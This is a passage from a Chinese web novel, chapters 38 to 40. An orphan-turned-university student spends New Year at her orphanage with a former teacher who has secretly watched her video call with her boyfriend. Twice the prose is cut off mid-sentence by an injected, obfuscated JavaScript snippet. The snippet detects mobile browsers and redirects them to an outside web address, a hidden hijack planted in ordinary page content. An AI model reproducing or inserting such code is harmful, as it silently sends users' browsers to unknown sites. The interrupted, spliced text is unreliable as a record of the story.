濮怀玉看一眼隗祯手边的行李箱,再是自己把住龙头的坐骑,想起他刚入职一中时对它很不熟悉,折腾好久的模样,不免投去“把你自己的东西管好就行”的神情。 “不要,我自己可以。”她取下头盔,短发有些许粘腻在额头,被她几下拍散,“我去跟妈妈说,隗老师来了。” 他无奈,带着行李箱“骨碌”地走:“不用这么大费周章……” 隗祯依旧受到了院长和陆乔的热烈欢迎,这次还有孩子们。他们很喜欢跟这位长相英俊、还很好说话的年轻老师说话,簇拥着他伸出手纷纷询问“隗老师,这次可以什么时候聊天啊”。 “嗯……等我们一起在桌子前吃饱肚子。” 他跟孩子相处不依靠经验,而是有一种直觉性的关怀。但用濮怀玉的话说,孩子的世界和大人不一样,很多时候会因为不互通,显得这些没什么坏心思的孩童很难对付。 “但你长得够好看,他们肯定喜欢你,说不定还想反过来照顾你。”濮怀玉洗着盘子,塑胶手套辗转时发出“嘎吱”的声响。 这不是跟你一样吗。隗祯刚要脱口而出,却被院长叫出后厨,只好脱了手套,掩好背后的门:“怎么了李院长?” 她看了眼门的方向,示意两个人走得远一点,至少别让里面的人听清楚。 “隗老师,我就是想问问,小玉她在燕京的这段时间……有没有添什么麻烦?” 院长的问话很委婉,隗祯立马辨认出其中的打探意味。 “没有这回事,小玉一直都很好。” 生平第一次,为了装作跟她更亲近、说的话更可信,隗祯唤了濮怀玉的小名。 院长还想深入下去:“生活方面也可以,跟谁起了冲突,或者到了年纪想跟男生亲近……她总是报喜不报忧,我怕小玉吃亏而不自知。” 何止是吃亏而不自知。念及简晟,隗祯眼眸低垂,只从沉默中咀嚼出无限的可恨来。 “没有,您放心吧。小玉的生活丰富多彩,就算有些小问题,也都被她解决了,根本到不了跟我倾诉的程度。” 按照约定,隗祯瞒了个干净。 38. 038 这是他们两个人的秘密。 ……其实是三个。但被隐匿的另一个当事人,隗祯敢打赌,他一辈子都不会有勇气踏足这里。 他会将这股拉住他的怯懦与卑微,错误地看成无限的优越感,永远可怜地、昂起他那其实并没有什么价值的头颅。 理解另一个人,至少需要勇敢和谦卑。最初,隗祯是在濮怀玉身上学到这一点。 同时,正是因为这点秘密,让隗祯比往常更注意濮怀玉的小动作。他仿佛变成一个闲不住的焦虑症患者,原先压迫在脊梁上的观察需求反倒变的克制而温柔,而他的内心隐秘地叫嚣“再多一点”。 再多一点全神贯注的凝望,多一点隐含关心的前兆。他只是在为可能到来的祸患做准备而已,只有知道,才能及时给予帮助。 「叮,宿主的想法很危险。」 系统没想到隗祯有一天会在粗壮的老树身后的阴凉里、犹如鼠类动物一样悄悄观察濮怀玉跟男友视频通话时的一颦一笑。 在系统的推断中,隗祯或许会携带着已经事业有成的富家少爷的傲然,为了生存勉强自己微微俯身,但如今的景象可不仅仅是“俯身”这么简单。 「我听不到他们在说什么……尽管我很想知道,但我不能打听。」隗祯呢喃着,掌面摩挲树干的粗糙,像在自我说服,「我没有窥看她的隐私,我只是想知道她开不开心。」 一旦回忆起那一次漫步中濮怀玉的请求,还有她毅然打断他的狠捏,他的心脏便滚过沸水泼洒似的痕迹。 濮怀玉确实坐在露天长椅上,今天难得出了点太阳,她忙完厨房里的事,又去菜园里蹲了会儿,现在只想懒洋洋地靠着晒会儿太阳,结果简晟来电。 起初是电话,濮怀玉一个都不想接,然后是视频通话,濮怀玉更不想接。保不齐她跟简晟吵架吵得正投入,院长或是陆乔就出现了。连小孩子都不是好糊弄的主,就算糊弄过去,嘴巴也大,张一张全抖出去,她的千叮咛万嘱咐最后都烟消云散。 有坏人在旁边出谋划策,难保简晟还想挽回点“男人的自尊”,不彻底地滑跪。这个富家少爷曾经提起过的词,就这样成了濮怀玉嘲讽他一辈子的最好话术。因为这里面究竟是谁煞有介事教给简晟,显而易见。 事实也不出濮怀玉所料,戚致廷先出马对她用激将法,说她要是不接,简晟就要跳海。 【打工皇帝】:用这个威胁我?你想的还是简晟想的,蛮好笑。 【打工皇帝】:实在要跳,我手伸不了那么长,就随他吧。你捞他的时候别嫌他的尸体肿胀得不成样就行,你可是简晟一辈子的好兄弟,别让他的家人寒心[微笑] 戚致廷被骂来气了,这次真跟他没关系,是简晟自己在简鋆面前禁不住压力,把这个只能小心藏着的初恋暴露了。不仅暴露,还想了个烂到没边的借口。 其实简鋆也没有说什么,无非是叫他只能恋爱、不能结婚而已。要是当真,就是跟家里给的信用卡作对。是简晟自己被吓得要命,到最后将害怕变成抽刀向更弱者,就着护照这件连戚致廷都看不上的小事一通发作。 他以为惹了濮怀玉,濮怀玉最后还会来低眉顺眼哄他吗? 还拿跳海做借口。戚致廷在心里嗤笑,简晟这个能想出用跳海威胁的脑袋可以请高人看看了。 被嘲讽一番,他将手机扔到一边:“你自己跟她说去吧,别到最后什么都推我身上。我说,Jacob啊Jacob,你遇上事不能总是一副没断奶的样子,不然连我这个朋友也很难瞧得起你。” 要他说,濮怀玉直接踢简晟一脚助他原地梦想成真,先把他溺个半死再救上来,都比因为这句“我要跳海”就立马转身哄小宝宝可能性大,而且是大得多。 不知道为什么,戚致廷就是有股自信。被踩是被踩了,但他对濮怀玉的了解程度也大幅度上升了,是吧?其实也不亏,想想挺有意思的,就像沿着裂纹钻开一块硬邦邦的石头。 他甚至靠在沙滩椅上颇有易趣地喝了口椰子汁。“濮怀玉喜欢甜食对吧?她真该来的,气候又好,又有她爱吃的。”戚致廷道,“说到底就是一普通女孩,你一手包办给她搞妥了,我不信她不接受你的好意。” 简晟抓耳挠腮,开始一笔一笔直接给濮怀玉的支付宝账号打钱,一万块一万块地打。 终于,濮怀玉理他了,虽然很没好气。 【宝宝我真的错了】:你想让我的账户变成异常账户? 【宝宝我真的错了】:真会报复人 “我没有啊,我真没有。” 简晟都要拜天拜地了,濮怀玉终于应了他的视频电话。他立马起身,全力逃离原本躺在自己旁边沙滩椅上的戚致廷。 “嘿,这架势好像我不对一样……” 在镜头下,这张脸冷若冰霜时依旧有股说不出的魅力:“刚刚谁在说话?” 简晟差点就要把左脸送过去送给她扇。扇开心了,说不定矛盾也解开了。 “没有谁。小玉,你听我说,这事真的是我不对,我不应该不分青红皂白就那么说你……” 濮怀玉冷冷看着他:“你道完歉了?道完我就挂了。” “没有!别、别挂。” 两捧灰蓝色的湖水就像是笼着水汽一般,背景也恰能听见海水拍上岸边的声音。 真惬意啊。濮怀玉垂眸:“我没有挂,你长话短说。” “姐姐说我们可以继续交往。”他紧张兮兮地看另一头的她,根本没察觉到濮怀玉才听到关键词就迅速把音量调小。 简晟还在自顾自说着:“小玉,最大的障碍不存在了……我以后不会再让你生气了,都是我不好。我要是帮你都办好,你肯定愿意跟我一起来,我不应该推到你身上去。” 濮怀玉:“我没空。” “……嗯?” “除夕和春节,得跟家人一起过吧。” 他可以从海岛飞回家就接受佣人的伺候,但她享受一整个做准备的过程。 简晟很明显不属于“家人”的行列,他是濮怀玉在外求学给自己找的乐子,轻率程度跟他们这些找普通人家女孩的公子哥相比有过之而无不及。 “你也和家人一起开开心心过节吧,Jacob。既然你一直都这么重视姐姐,也应该享受难得的时刻。” “小玉!我——” 嘟。濮怀玉挂断了视频电话。一方面是她不想再听,另一方面是陆乔在往这边走了,怀里还有一个小婴儿。 “你的孩子都这么大了?” “拜托,院长没有告诉你吗?”触及濮怀玉的表情,陆乔心想坏了,院长的记性真是一年不如一年了,立即改口,“好吧,本来就应该我告诉你,是我在推卸责任……这是十二月初送到随愿门口的弃婴,小女孩。幸好发现得早。” 放在以往,濮怀玉很快便能察觉陆乔话语中的蹊跷。但现在她凑到襁褓前,伸出一小截手指。小女孩还处于半梦半醒的朦胧之中,咂了一下嘴。 “监控拍到了,送她来的应该是妈妈,但穿得太严实了,电瓶车也骑得飞快。我看监控的时候都害怕她会撞到人。” 濮怀玉:“……” 她被丢到随愿孤儿院门口那年,隋城坑坑洼洼的,有不少泥路交错,一下雨就跟烂了似的。那时电瓶车还没普及,载濮怀玉来的是一辆斑驳的三轮车。 尽管如此,院长还是尽力帮她寻找父母。在那样一个通讯手段不发达的年代,她甚至一路顺藤摸瓜,摸到了三轮车的车主。 ——然后得知那对外地小夫妻丢下濮怀玉就往火车站跑的讯息。 “很可爱。”濮怀玉最终没有碰上小女孩的脸颊,生怕把细菌带去,“看着就健康。” 陆乔笑着打岔:“你带了这么多孩子,也是有经验了。”她知道濮怀玉再怎么坚强,如此有既视感的经历不可能分毫不触动到她,不可能一丁点儿的伤心都没有,所以才欲言又止。 “就算真找过去了,能管住那对父母的也就只有法律。法律强迫他们养孩子,孩子坚强点有百分之八十的概率能养大,可谁知道她心里有多难过,在亲爸妈家里都像寄人篱下,处处看人眼色。” 濮怀玉:“不如我们来养,反正我们也负担得起。” “对,我们养,好。” 瞧见隗祯来,陆乔被打击过的少女心又窸窸窣窣支起上半身,再被她自己打趴下——这么没出息!长得帅点就管不住嘴角,连嘴角都管不住,以后怎么管一个院子的孩子和员工! 她给隗祯看孩子:“隗老师,这是新接收的小朋友,叫小十二,大名还没取。要不要抱一抱,试试看?” “他挺会抱孩子的。”濮怀玉突然出声。 “那个已经是大孩子,小十二这么小……”话还没说完,隗祯下意识拢紧陆乔放进他怀里的小孩,再下意识轻轻晃起来。 小十二在睡梦中露出笑脸,像是隐隐伸了个懒腰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613044|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 濮怀玉:“我说过,他在养孩子上面很有直觉。” 随后她凑过去,终究没克制住好奇心,隔着抱被轻轻戳了一下婴儿的脸,柔软得就像棉花糖亲吻脸颊。 “姐姐,外面冷,你还是带小十二回室内吧。她睡着,就算冻着也不会说话。” 陆乔接回孩子,临走前不忘招呼她:“你也别总往外面跑,里面吃的有玩的也有,别冷着了。” 濮怀玉应了一声,再轻轻道:“她还把我当小妹妹呢。” 就像一声包容的叹息。 她转过头,对在开口边缘的隗祯道:“你不用把我怎么来这里的经过问清楚。你只需要知道,我们都差不多,并且最后在一起就行了。” 于是,隗祯终是咽下了那个不合时宜的问号。 既然濮怀玉不愿意提及,那就专注于现在,专注于如何为仍在延续的悲剧尽一份自己的力,去呵护下一代的成长,就像上一代如何呵护她一样。 “那就换个话题吧。”他在自然而然进行的散步中开口,“你和简晟——我是说,还留有余地吗?” “我并不是想代表你对这段关系表达遗憾或者别的情绪,我想知道……我只想知道你此刻的心情。” 她此刻的心情?濮怀玉停下脚步,回头: “你看见了。” 锐利到能让人无地自容的眼神,是丛林里蛰伏的野兽在警戒,利爪刺破树叶,似乎难以继续忍耐。 “你不仅看见了,而且选择留下来。”濮怀玉锁定他面部的每一丝波澜,就像暴雨在窗户上冲刷留痕,狼藉一片。 她还没有开始质问他为何像只阴沟里的老鼠躲在角落偷看,他就觉得狼狈,跟被揪到太阳光下暴晒,晒出那些见不得光的尘祟。 总之,濮怀玉有一万个理由恶言相向,宣泄隐私被偷窥的不满。 但她咬紧牙关,说出口的话语甚至带着循循善诱的意味,逻辑清晰,生怕他听不懂。 “……如果你自恃老师身份,那你当然可以这么做,打着为我好、怕我被渣男伤害的旗号时时刻刻管束着我。” “但你不是老师了,我也说过我们现在勉强算朋友,那你就不能粗暴地俯视我的经历,像扔个骰子、玩具扑克一样轻轻松松介入。” 她的音量渐渐考试昂起,有些愤懑还是被年轻的荷尔蒙挑开:“还有,你问我现在的情绪,这有什么用吗?即便知道了,感受到了,我依旧不知道怎么解决,你也帮不了我。告诉你,除了满足你的探索欲,有别的用处吗?” 狮子和头狼的心,是很难捉摸的。 濮怀玉很少为自己动怒,她像是生来对别人的经历更敏感,自己的事无论如何总能冷静应对。此刻情绪骤然喷薄而出,连她自己都觉得意外,忍不住扶住了额头。 “……抱歉。犯了大错误的不是你,你不应该在这里接受我的诘问。” 不是这样。隗祯嘴唇发颤,濮怀玉却故作轻松地拍拍脸,然后指向食堂大堂:“我们去那里吧,离午饭时间已经过了很久,我有点饿,你应该也是。……我们一起去吧,吃点点心。” 所谓点心,不过就是枣糕、油糕、糖三角这一类。 “喏,看飞镖。” 隗祯接住了“飞镖”,咬开是半流心的糖馅儿,带着刚出炉的热意,淳朴的味道若是再淡点,能让人上瘾。 掷了偷袭的暗器,濮怀玉跟食堂师傅要了一小块油糕,坐在长长的椅子这端含糊地说:“一对关系平等的好朋友,应该分享才对,不应该偷看。” 而隗祯坐在椅子的那端,就像跟她玩跷跷板的玩伴,陪玩的理由是做了不好的事,让她生气了。 “对不起。”他说,“刚刚该道歉的是我。” 濮怀玉挑了一下眉。她大多数时间是个相当宽容的人,跟那颗很好的心一样。只要这般动一动眉毛,就好像他们重归于好了。 “行,我接受。” 但隗祯仍觉得自责。他竟然有一点控制不住自己,一个二十多岁的成年人拥有两世经验,居然连些微的自控力都没有,太可耻了。 她却就这样原谅了他。 ……值得吗?明明他也是骗子…… 就这样各怀心事相对着吃了会儿“点心”,小男孩找进来,胖手收了濮怀玉给的油糕,再指向门外:“小姐姐,魏老师来了!” 她起身,魏老师已经到了门口,慈爱地笑着,伸出手呼唤“小玉”。 39. 039 热气腾腾的拥抱,好像可以融化淤积的冬雪。 齐央此前来信,说燕京的风雪很大,幸好她走得及时,没能淋到。濮怀玉此刻抱着昔年的恩师,念及此事,灵感骤然涌上心头。 她想说自己一切都好,即便那点风雪从北吹到南,也有人给她撑伞。 “你在燕大惹祸了吗?在这儿我还能保,要是在那里捅出点什么来,我是无论如何都没法帮你说上那么一两句话的。” 祸已经惹了,不过跟学校没有关系。但濮怀玉这一刻想的是别的事情:魏老师跟幼子关系好转,本可免了这一个不成文的习惯,从此专心照顾家庭和自己的孩子,可她还是过来了。 记事以来,回想起被父母抛弃的往事,濮怀玉得到的第一个真理便是,任何情谊都能被时间冲淡。大了的是一次毕业,一次工作上的调动,小的或许就在一个转身之间,总之再如胶似漆的两个人都能走散。 有血脉链接的父母尚且如此,濮怀玉不能不看得开。她必须早早地释然,早早认识到自己最终只能一个人朝前走。 “……我没有。” 想要感激她的到来,想要询问亲子关系和离婚官司进展如何,最终都凝成濮怀玉嘴边一句小小声的辩解。 魏老师拉着她:“没有就好,我实在担心你的性格。前几天有个学生来看我,跟我抱怨学校奖学金评得很不公正,总是那几个人。我安慰了她,马上就想到你。我怕你发现很多事情改变不了会伤心,甚至到闹学校去。你才刚读大一,不能人生还没真正开始就断了自己路。” “我知道,就算看见也放在心里,何况那是燕大。至少我拿的奖项还算公平,没有什么可以质疑的。” “那就好。这是我一直担心的。”魏老师忍不住不断抚平她肩膀上的衣褶,“学业上我倒是不太担心,只盼你趁早多实习,给自己找个好工作。” 濮怀玉一脸“你放心”:“我不学好,有时候不去上课,平时偶尔有空了看看书,倒也没妨碍我期末拿高分。” “我也是老师,不能赞同你这种行为。”魏老师忍俊不禁,“你别被抓到,就好。” 聊了好一会儿,魏老师才看见坐在濮怀玉背后的隗祯。 “隗老师,一学期没见面了。” 跟濮怀玉比,他们两个还是要“高”出一截的,算是真正的大人,当场寒暄起来,里面也不乏短期内建立起来的同事情作用着。 “你能去燕京工作,也是件好事,气色好了不少,人看起来也漂亮多了。” “有没有交女朋友?燕京地方大,什么人都有,不比隋城小地方。你要是存心要找,肯定能找到很好的。” 隗祯心想,只剩下一年多了,他得守着濮怀玉,恋爱是不可能恋爱的。非要说的话,魏老师问问濮怀玉都能问出点东西,问他注定得不到想要的。 他看了一眼濮怀玉,恰逢濮怀玉也在旁边看着他,那双眼睛倾斜地看,有些不善,像在说,“你要是不守口如瓶,搞毁约这套,我肯定不放过你”。 放心吧,放心。倘若能开口,隗祯现在就要好好宽慰她。祸从口出了这么多次,他打定主意要小心翼翼地博她的好意,怎么会连这么点约定都守不了。 只是那双眼睛里除了对他的提防,似乎没有旁的情绪了。隗祯有些失落,还有些惦记。惦记濮怀玉在视频通话里跟简家的小少爷说话时,那股虽然厌恶、但在意点什么的暗流。 隗祯牵动唇角,好像很轻松,好像很游刃有余,回答:“我根本没有这方面的打算,魏老师。而且感情的事,跟条件关系也不大。您说的‘很好’是多好,还是交给别人消受吧。” 他是千千万万个消受不了。 魏老师面露惋惜,但又很快想通了:“你这个外貌身段,现在不找倒也不用着急。但凡你是个漂亮女孩,我就要劝你早做打算了。” “为什么女生就要那么早结婚呢?” 濮怀玉知道魏老师不是十全十美的,所以她反倒更要说,“是怕肉不新鲜了吗?跟做饭一样,看作盘中餐。” 孩子回到身边,跟前夫的关系也缓和,似乎找到婚姻刚开始的状态,魏老师的想法也渐渐朝回走,对她教育道:“小玉,你不清楚,现在太多女孩年轻的时候没想明白,快要过了适婚年龄又着急,在干嘛去了呢?你还太小,想得太简单,以后你会明白的。” 濮怀玉看着她,摇摇头: “魏老师,我不会预支后悔,所以我不接受你的这句说教,以后类似的话不要跟我说。” 魏老师有点无奈,但正如她自己所说,濮怀玉还太小,看得不够明白,因此她多少抱有些静待分晓的心理住了嘴。 而在此刻,魏老师并未意料到,现在恨不得捧在手心里的儿子会在不久的未来如何埋怨她“不让自己过好日子”,突然示好的前夫如何因为她的谅解在法庭上全身而退,就连一点可怜的抚养费都是父母操办,他只需带着找好的情人一走了之。新的一年她将落入更加痛苦的低谷,但濮怀玉远在燕京,看不见了。 至少现在,两代人之间的沟壑不那么影响是非判断,不那么影响这一场跨越血缘的相聚。装扮了房间,再装扮食堂,濮怀玉随后进了后厨,发现隗祯早就在里面了。 “尝尝。”隗祯手边是刚焖出来的虾,他自己掏钱去市场走了一圈,挑了一大袋活虾回来做给孩子们吃,用的调料都是小朋友也能轻松入口的,大人菜变的老少皆宜。 濮怀玉起初并不想动,嘟囔着“我还有鸡丁要炒”,她不想偷吃的,这种硬菜吃一点少一点,其他孩子还要吃,但架不住大虾太香、隗祯不厌其烦撺掇她。 “尝一个,就当帮我拿捏拿捏味道。” 有烟火气的美人面在前,她握着锅铲,像块钝木头杵了会儿,还是低头夹起一个小小的拧去虾头。 濮怀玉吃相向来又整洁、又干脆,像刚报完仇的侠客在客栈落座后放空自己补充能量,此时倒被小小的虾衬出几分娟秀来。 “很好吃。”她比最专业的美食家还要认真仔细,灵巧地剔出壳,皱着眉品味这偷出来的一点虾肉,不忘向他多次强调,“特别好吃。” 隗祯心里其实是有点没底的,看她的反应不错总算舒出一口气,笑道:“我在燕京自己带饭,看来厨艺精进了不少吧。” “嗯。你很贤惠。” 隗祯一愣,濮怀玉却已经转身,利落地开始起锅烧油。 ……竟然用“贤惠”形容他吗?隗祯不自觉品出几分不同寻常的喜悦来。 系统:「你很不对劲。」 「没有不对劲。」隗祯被它的声音冷了又冷,眼下把剩余的虾子盛出锅,「我做饭做得好,配得上这个词。」 系统缓缓打出一个问号。 到了吃团圆饭的时候,一道道菜端上桌,好多道都是隗祯做的。濮怀玉的厨艺属于不会出错,很踏实很稳定的水平,隗祯则属于真的很会做饭的那一类人。尤其他在燕京工作了半年,渐渐将水平训练出来,入口让人觉得很不可思议。 “隗老师,要我说,你如果不想做心理学方面的工作,想干点不动脑筋的活,做私房菜也会大有前途的。” 魏老师喝了点酒,旁边坐着刚接过来的小儿子。小男孩饭桌上的家教还不错,就是刚才在饭桌下推了院里的小女孩,被魏老师狠狠地打了屁股,现在眼角还挂着泪痕,惹得魏老师心又软了。 濮怀玉在旁边看,知道那男孩近乎本能地采取“唯我独尊式”生活法,她念小学的时候教训过不少这样的男生。魏老师被糊弄过去,因为失而复得只就事论事,以为打过就完事,但濮怀玉看得太明白,不明白的是魏老师。 很小的时候,濮怀玉就很好斗,战斗经验丰富,被很多拉偏架的老师说过“没有女孩的样子”“以后没人要”,但她是有原则的武斗派。 她还在忆往昔,隗祯却把一块蒜香排骨夹到她碗里:“这个部位好。” “喔,谢谢。”濮怀玉低头啃着,模模糊糊说“今晚肯定要光盘了”。 陆乔表示异议:“那可不一定,里面有食堂师傅和小玉做的,隗老师的菜做得太出挑,孩子会有对比,其他人做的菜不一定肯吃。” “喂,我做的哪里难吃了。”濮怀玉连肉骨头都不啃了,立马反对他,“再难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622209|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃不也把他们养大了。” “我说对比,对比。你自己看,我到现在夹了多少筷子你做的粉丝。” “那是你本来就喜欢粉丝。” 看濮怀玉和别人斗嘴,也很有意思。 面无表情叫喊“凭什么这么说我”,用最稳重的表情说最孩子气的话,此刻便成了她最放纵自己的时刻。 有珍爱的家人在身旁,没有什么比这个更完满。 吃完年夜饭,濮怀玉说“我答应了要跟姐姐视频”,走到一旁去了。她走了,隗祯的心也跟着不在餐桌上了。这样一个三心二意的除夕,隗祯心想,他也不想的,去年分明不是这样。 但他没有理由跟过去。再好奇都不可以。 这边纠结着,那边摸摸衣领,已经开了视频。 镜头一闪。“小玉。”梳着短发的女人出现在了窗口,“吃过饭了吗?” “吃过了。很好吃。” 漂亮的音色配上完美无缺的脸,便是濮怀玉远在燕京的姐姐,濮曼吟。 濮怀玉回隋城之前,她还特意请濮怀玉吃了一顿私房菜,吃着致歉着,说这半年忙碌得很,竟然除了这顿就只有学期初的那顿,实在不应该。 濮曼吟还提前给她准备了红包,厚厚的一沓红艳艳的钞票,像块小砖头。濮怀玉想都没想就拒绝,最终被她哄着收下。 “我知道你不是奔着占便宜来的,小玉。不用你亲口告诉我,我也明白,别把你姐姐想成不会看人的笨蛋。是我想这么做。” “我想通过一顿顿饭间或了解你的成长,我想参与你的成长,虽然比较忙,只有一点小表示可以参与,但我想付出。这些都让我觉得很幸福。” 当时她捧着脸,笑道: “小玉,会不会有一个时空,我们真的是一起相依为命长大的姐妹呢?” 濮怀玉则煞有介事:“会吧。就算那个时空的作者一开始不准备这么写,TA到最后也会不由自主。” 现在濮曼吟对她挥挥手,满目洋溢着温柔的笑意。 “都跟哪些人一起吃了年夜饭?” “我们小玉做了哪些菜呀?肯定很好吃很好吃的。……那我不管,不管有谁,最好的肯定是小玉做的。” “李院长的身体怎么样?我上次给院长寄了补品,她有没有记得吃?” 到最后,连濮曼吟自己都忍不住笑了:“每次我都忍不住把你当成小宝宝。” “小宝宝就小宝宝。” 濮怀玉揉了揉自己的下巴肉,从犄角旮旯揪出一点没有被融化的婴儿肥以示证明,随后对她眨了眨眼睛,“姐姐,开学的时候,你有时间出来吗?” 在濮曼吟眼里,濮怀玉是个特别乖、性格特别好的小女孩,这点讨人欢心小动作只会让她眯起眼睛,笑容愈深: “当然有啊,从我开始忙到你开学,这中间有足足半年呢。你呀,别把你姐姐看扁了,一点小事情要满满当当半年才能都做完,那算什么。” 濮怀玉静心听她说话。濮曼吟有时候会跟她分享工作上的小事,两个人比起寻常的资助者和被资助者多了很多的情谊,聊起这些倒也无害于关系的持久发展。 “对了,小玉,我最近交了新男朋友,虽然性格不太好,但是个很帅的叔叔。”濮曼吟连自己一同揶揄进去,“怎么回事,我们姐妹两个都好这口。” 濮怀玉:“他要是让你伤心,一定要及时跟他分手。” 濮曼吟是何等潇洒的人,她早就熬过为了情情爱爱痛苦神伤的时光,“那当然。同样的话送给你,小玉。当断则断。” 挂断前,她们拍了张线上合照,濮怀玉比出剪刀手。 “新年快乐,小玉。” “你也是,姐姐。” 挂断后,濮怀玉坐回原来的位置上。桌旁跑了大半的人,都吃饱饭去看春晚,她却在跟隗祯眼神相接的瞬间下意识问:“你很好奇?” 隗祯轻轻抿唇,有些难以启齿:“嗯。” “以后跟你讲吧。”濮怀玉给自己夹了一个饱满的煎饺,“现在,新年快乐,隗叔叔。” “……新年快乐。” 40. 040 当天夜里,濮怀玉听完难忘今宵仍清醒得很,躺在自己的小床上翻手机软件,发现不仅简晟卡点发了新年快乐,戚致廷也在零点以后的几分钟嬉皮笑脸发了条语音,转换成文字是“新年快乐啊,噗小姐”。 她是不可能听的,只是对着文字里的“噗小姐”懒洋洋地嗤笑一声。 也真是好意思啊,不知道戚致廷在家人身边敢不敢随便乱来,还是得装一装。 而后简晟发来视频邀请,被濮怀玉直接挂断了。 【打工皇帝】:? 【打工皇帝】:我要睡了 【Jacob】:原谅我QAQ 【Jacob】:求求你了小玉,你最好了QAQ再多玩我一段时间吧[大哭] 【打工皇帝】:你好好说话,我没有那方面的癖好 大概是新年比较适合圆圆满满地过,简晟一直黏糊糊地给她发信息,濮怀玉心里没什么感触,但确实有股“算了”的妥协感。 都约好五一假期一起去她的故乡了,濮怀玉心想,至少到那个时候吧。无论如何,简晟真实的所思所想,都会在到达那个偏远的小县城后真正显现出来。 【打工皇帝】:希望你真的知道自己哪里错了 她等待着那个不可回避的时刻。 隗祯的假期太短,剩下来的几天都在找院里的小朋友和大朋友谈心,强度比在机构工作的时候还大,不过很快就得收拾行李走了。 “我送你到车站,怎么样。”濮怀玉骑着电瓶车“嗖”的一声出现在他面前,比起出手相助的过路王子,更像带着诗意的唐吉诃德,“你把行李箱放我踏板上,我载你去。不要小看我的驾驶技术。” 隗祯最终还是拒绝了:“我可以打车去,或者坐公交。总之,谢谢你。” 濮怀玉有点失望。她还挺期待隗祯乘上她的坐骑。 不管多高,因为电瓶车的构造原因都不得不矮她一截。座位没有靠背,后面是空的,隗祯可能不得不小心地拉住座位前一小段弯曲的金属圈保证安全。寒风仓促地吸入腹,兴许整个人还会因为惯性栽倒在她的脊背上。 那他的鼻梁有可能在她后背上凿个洞,想想都觉得痛——她痛,他也痛。 隗祯拒绝的理由就更简单了,要是被熟人看见他坐濮怀玉的车,那还得了。 就算不是熟人,他局促地缩在后座上,自己不在意,也会有人暗中指指点点。 “等等,你不是会骑吗?” 濮怀玉突然下了车,原地停好,“你骑到火车站去,我坐你后面,到时候我再骑回来。” 她想帮他。一旦明白这一点,再加上她贴心地给他的自尊心找到避风港,隗祯似乎没有不照做的理由了。 只是他的腰很敏感,当濮怀玉一下子被冲力轰然推向他的后背,砸得眼冒金星,手下意识攫住眼前唯一的、最显眼的支点时,隗祯几乎要在失声惊叫中把她的手甩开。 还好他们都被膨胀的羽绒服包裹。还好他们停在树荫下。还好往车站的路上车辆行人越来越少。隗祯意识到濮怀玉刚才想出的是个馊点子,但他没有办法,快要到发车时间了。 而濮怀玉终于灰头土脸坐起身:“不好意思啊,刚才不小心冒犯到你了。” 她明明只是灵机一动,想对昔日驾驶技术十分拙劣的小葵花老师进行一番检验行动,非得用省车钱做借口,结果闹出这点风波。要是院长妈妈知道了,会说她是个喜欢看别人出丑的坏孩子。 隗祯不着痕迹往前坐了点,试图缓解僵硬感:“是我技术不精。” “其实还行,比你刚开始入职一中的时候好多了。”濮怀玉委婉道,“有机会的话,还是让我载你吧。” 后来一路平稳,隗祯在车站前停下车的时候,濮怀玉已经把他的行李箱拖下来了。 “要送你进去吗?” 反正也没办法过安检,没办法跟他一起并排坐一小会儿。总之都怪他学艺不精,把平坦的大路开成颠簸和坎坷,否则一路上稳定的、距离恰到好处地聊着天,到这里分别也不觉得遗憾。 “不用了。回去的路上小心一点,不要……像我一样莽撞。” 濮怀玉则默默反省自己,是不是不应该这么捉弄老实人,他明明只是一个赶鸭子上架的司机而已。 “是我强人所难了。”她说,“早知道我来骑了,我说真的。” “……没有别的选择吗?看来我今天一定得坐在前面或者后面不可了。” 气氛轻松起来,本来也没有什么。濮怀玉耸了耸肩:“要是你坐在后面,我会说‘幸好你今天没有穿风衣’。” “弄脏就不好了。”他垂眸望她,绽出些似花似雾的淡笑来,“不过也不贵,你非要载我的话,我肯定觉得荣幸。只是,这个地方不好。” 一个“不好”,让濮怀玉品出了跟他见不得天光的些许默契。 “容易引起误会。确实是这样。”她点头,“但我跟您是相互关心的关系。坦白地说,因为身世缘故,我肯定会多注意您几眼。” 隗祯的心瞬息间空落落的,尤其她开始用“您”来称呼。 “对,我知道。你一直都是个好孩子。” “我是,但您不能这么称呼我,除非您还自诩老师。”濮怀玉微抬眸,“还有,隗叔叔,跟您说一声,我跟Jacob和好了。” 隗祯皱眉:“他那么……你又是何必。” “总之并不是为了一片痴心。”濮怀玉确实没想那么多,“好歹是初恋,不能别人问起我初恋是个什么样的人,我支支吾吾答不出来,实在不行。不管好的坏的,我都想看看。” “后退一步的话,他的蓝眼睛挺好看的。” 他移开视线:“……马上要到时间了。我先走了。” 这话隗祯不喜欢听。 濮怀玉不疑有他,应了一声站在原处,目送他握紧行李箱离去,后知后觉说:“有事发消息,上了火车跟我说一声。” 隗祯遥遥对她摆手:“我不会走丢的,又不是没见过世面的富家公子。” 生简晟的气,生他自己的气。 反正,他现在又不是那什么“富家公子”。 即便如此,等濮怀玉把车骑回随愿,隗祯还是给他发了消息,说已经上了火车,睡一晚就能到燕京,正好顺路先去机构打卡,一切尽在掌控。 他把她当孩子,当成“好孩子”,她则把他当做长大版的孤儿院的小孩,当成不得已的独狼,谁矮一截还说不定呢。 只是,面对隗祯的异样,濮怀玉脑袋里依旧是当初对简晟说的那句话。 